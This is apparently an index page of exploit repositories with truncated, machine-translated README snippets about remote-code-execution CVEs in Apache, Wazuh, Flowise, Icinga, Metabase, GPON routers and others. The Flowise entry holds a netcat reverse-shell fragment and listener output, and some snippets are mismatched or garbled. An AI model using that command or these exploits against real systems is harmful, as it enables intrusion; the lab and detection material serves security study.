CVE-2025-4336

eMagicOne Store Manager per WooCommerce 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group...

cve-2021-42013-httpd

Dockerisierung einer Schwachstelle: cve-2021-42013 Dieses Projekt zielt darauf ab, eine bestimmte Schwachstelle mit Docker zu dockerisieren. Ziel ist es, eine isolierte Umgebung zu schaffen, in der die Schwachstelle sicher ausgenutzt und getestet werden kann. Verwundbare Anwendung Apache HTTP...

CVE-2026-59734-POC

Hacker Glitch 🚨 CVE-2026-59734 — Coolify RCE Exploit Iniezione di Comandi OS in Health Check → Esecuzione Remota di Codice...

CVE-2025-24016-Wazuh-Remote-Code-Execution-RCE-PoC

🚨 Wazuh - Esecuzione Remota di Codice RCE - PoC 📌 Riepilogo della vulnerabilità È stata identificata una vulnerabilità critica di RCE nel server Wazuh dovuta a deserializzazione non sicura nel pacchetto wazuh-manager. Questo bug interessa le versioni di Wazuh ≥ 4.4.0 ed è stato corretto nella...

CVE-2025-55182

CVE-2025-55182 – Esecuzione di Codice Remota nei React Server Components Creato da : Virendra Kumar Azienda : Cyber Leelawat Sito web :...

CVE-2026-13214

The OCPP 1.6 client in subsys/net/lib/ocpp/ocppj.c contains a stack buffer overflow in parsegetconfigmsg. When handling a GetConfiguration request from the central system, the handler copied the attacker-controlled JSON "key" string into the caller's fixed 50-byte stack buffer skeyCISTR50, declar...

CVE-2021-32819

CVE-2021-32819 CVE-2021-32819 : SquirrellyJS يخلط بين بيانات القالب الخالصة وخيارات تكوين المحرك من خلال واجهة برمجة تطبيقات العرض Express. من خلال الكتابة فوق خيارات التكوين الداخلية، قد يتم تشغيل تنفيذ التعليمات البرمجية عن بُعد في التطبيقات النهائية. المصدر...

CVE-2022-24715

Icinga Web 2 - Esecuzione remota di codice autenticata 2.8.6, 2.9.6, 2.10 Esecuzione remota di comandi Reverse shell Utilizzo root@kitploit: usage: exploit.py -h -u URL -U USER -P PASSWORD -i IP -p PORT Welcome. options: -h, --help show this help message and exit -u URL, --url URL Insert URL...

Pingpon-Exploit

PINGPON EXPLOIT Autore: @037 Pingpon è uno strumento utilizzato per ottenere migliaia di router domestici GPON vulnerabili tramite Shodan.io per poi eseguire qualsiasi comando Linux su di essi utilizzando una falla di esecuzione di codice remoto CVE-2018-10562. DISCLAIMER NON sono responsabile pe...

Cisco-ASA-CVE-2025-20333-Scanner

Scanner CVE-2025-20333 Uno scanner diagnostico basato su Python per il buffer overflow del server Web VPN Cisco ASA / FTD CVE-2025-20333. CVE-2025-20333 è una vulnerabilità critica di heap buffer overflow nel gestore di upload file di WebVPN che può portare a esecuzione remota di codice RCE come...

CVE-2022-24638

AS SEEN ON EXPLOITDB: https://www.exploit-db.com/exploits/51026 DIESE VERSION WURDE BEHOBEN, UM FALSCH NEGATIVE ZU VERHINDERN CVE-2022-24637 Exploit für die nicht authentifizierte RCE in Open Web Analytics OWA 1.7.4. Diese Arbeit basiert auf https://devel0pment.de/?p=2494. HAFTUNGSAUSSCHLUSS:...

omigod-lab

Readme Eine Lab-VM für Lernzwecke, um die Schwachstelle „unauthenticated Remote Code Execution RCE“ mit einem CVSS-Score von 9.6 in der Open Management Infrastructure-Software CVE-2021-38647 kennenzulernen. Offenlegung Originalforschung:...

CVE-2025-59528-Flowise-RCE

CVE-2025-59528-Flowise-RCE PoC di RCE autenticato per Flowise versione &1|nc 10.10.15.200 443 /tmp/f' Controlla il listener e dovrebbe funzionare: root@kitploit: └─$ nc -lvnp 443 listening on any 443 ... connect to 10.10.15.200 from UNKNOWN 10.129.64.221 43393 sh: can't access tty; job control...

CVE-2020-17531

CVE-2020-17530 Apache Struts2 è un framework web per lo sviluppo di applicazioni Java EE. Il 8 dicembre 2020, Apache Struts ha divulgato la vulnerabilità di esecuzione remota di codice S2-061 CVE-2020-17530. In determinate condizioni, come l'uso di alcuni tag, potrebbe esistere una vulnerabilità ...

CVE-2014-6287

PoC exploit script bash bash.webm Informazioni sull'exploit Puoi ottenere una reverse shell con il file .sh su Linux Puoi ottenere una reverse shell con il file .py su Windows e Linux su Windows, devi installare netcat Devi specificare l'URL esempio: http://target.com/ utilizzo per .py: python...

cve-2023-38646-poc

Metabase Pre Authentication RCE CVE-2023-38646 CVE-2023-38646 è una vulnerabilità di esecuzione remota di codice in Metabase. La vulnerabilità deriva da un difetto di sicurezza nella gestione delle stringhe di connessione JDBC da parte di Metabase quando processa l'endpoint API non autenticato...

CVE-2021-21974_vuln_dectection

Rilevatore Vulnerabilità CVE-2021-21974 Uno strumento di sicurezza basato su Python per rilevare la vulnerabilità CVE-2021-21974 nelle implementazioni SLP Service Location Protocol, mirato specificamente ai sistemi VMware ESXi. Questo strumento esegue un rilevamento sicuro, non sfruttativo,...

roundcube-cve-2025-49113-lab

HAFTUNGSAUSSCHLUSS: Nur für Bildungszwecke Roundcube Webmail RCE – CVE-2025-49113 Lab Dieses Repository dokumentiert meine schrittweise Ausnutzung von Roundcube Webmail CVE-2025-49113 in einer kontrollierten Laborumgebung, um das in /secret.txt gespeicherte Geheimnis zu erlangen. ⚠️...

CVE-2021-41773

CVE-2021-41773 Apache HTTP Server 2.4.49, 2.4.50 - Path Traversal & RCE...

log4j2-rce-recap

Breve riepilogo dell'esecuzione di codice remota in log4j2 CVE-2021-44228 Requisiti maven = 3 java = 8 nessun ldap in esecuzione su 127.0.0.1:1389 Utilizzo Compila con maven. root@kitploit: mvn test Il plugin surefire verrà eseguito due volte: ExploitabilityTest dimostra la sfruttabilità del bug...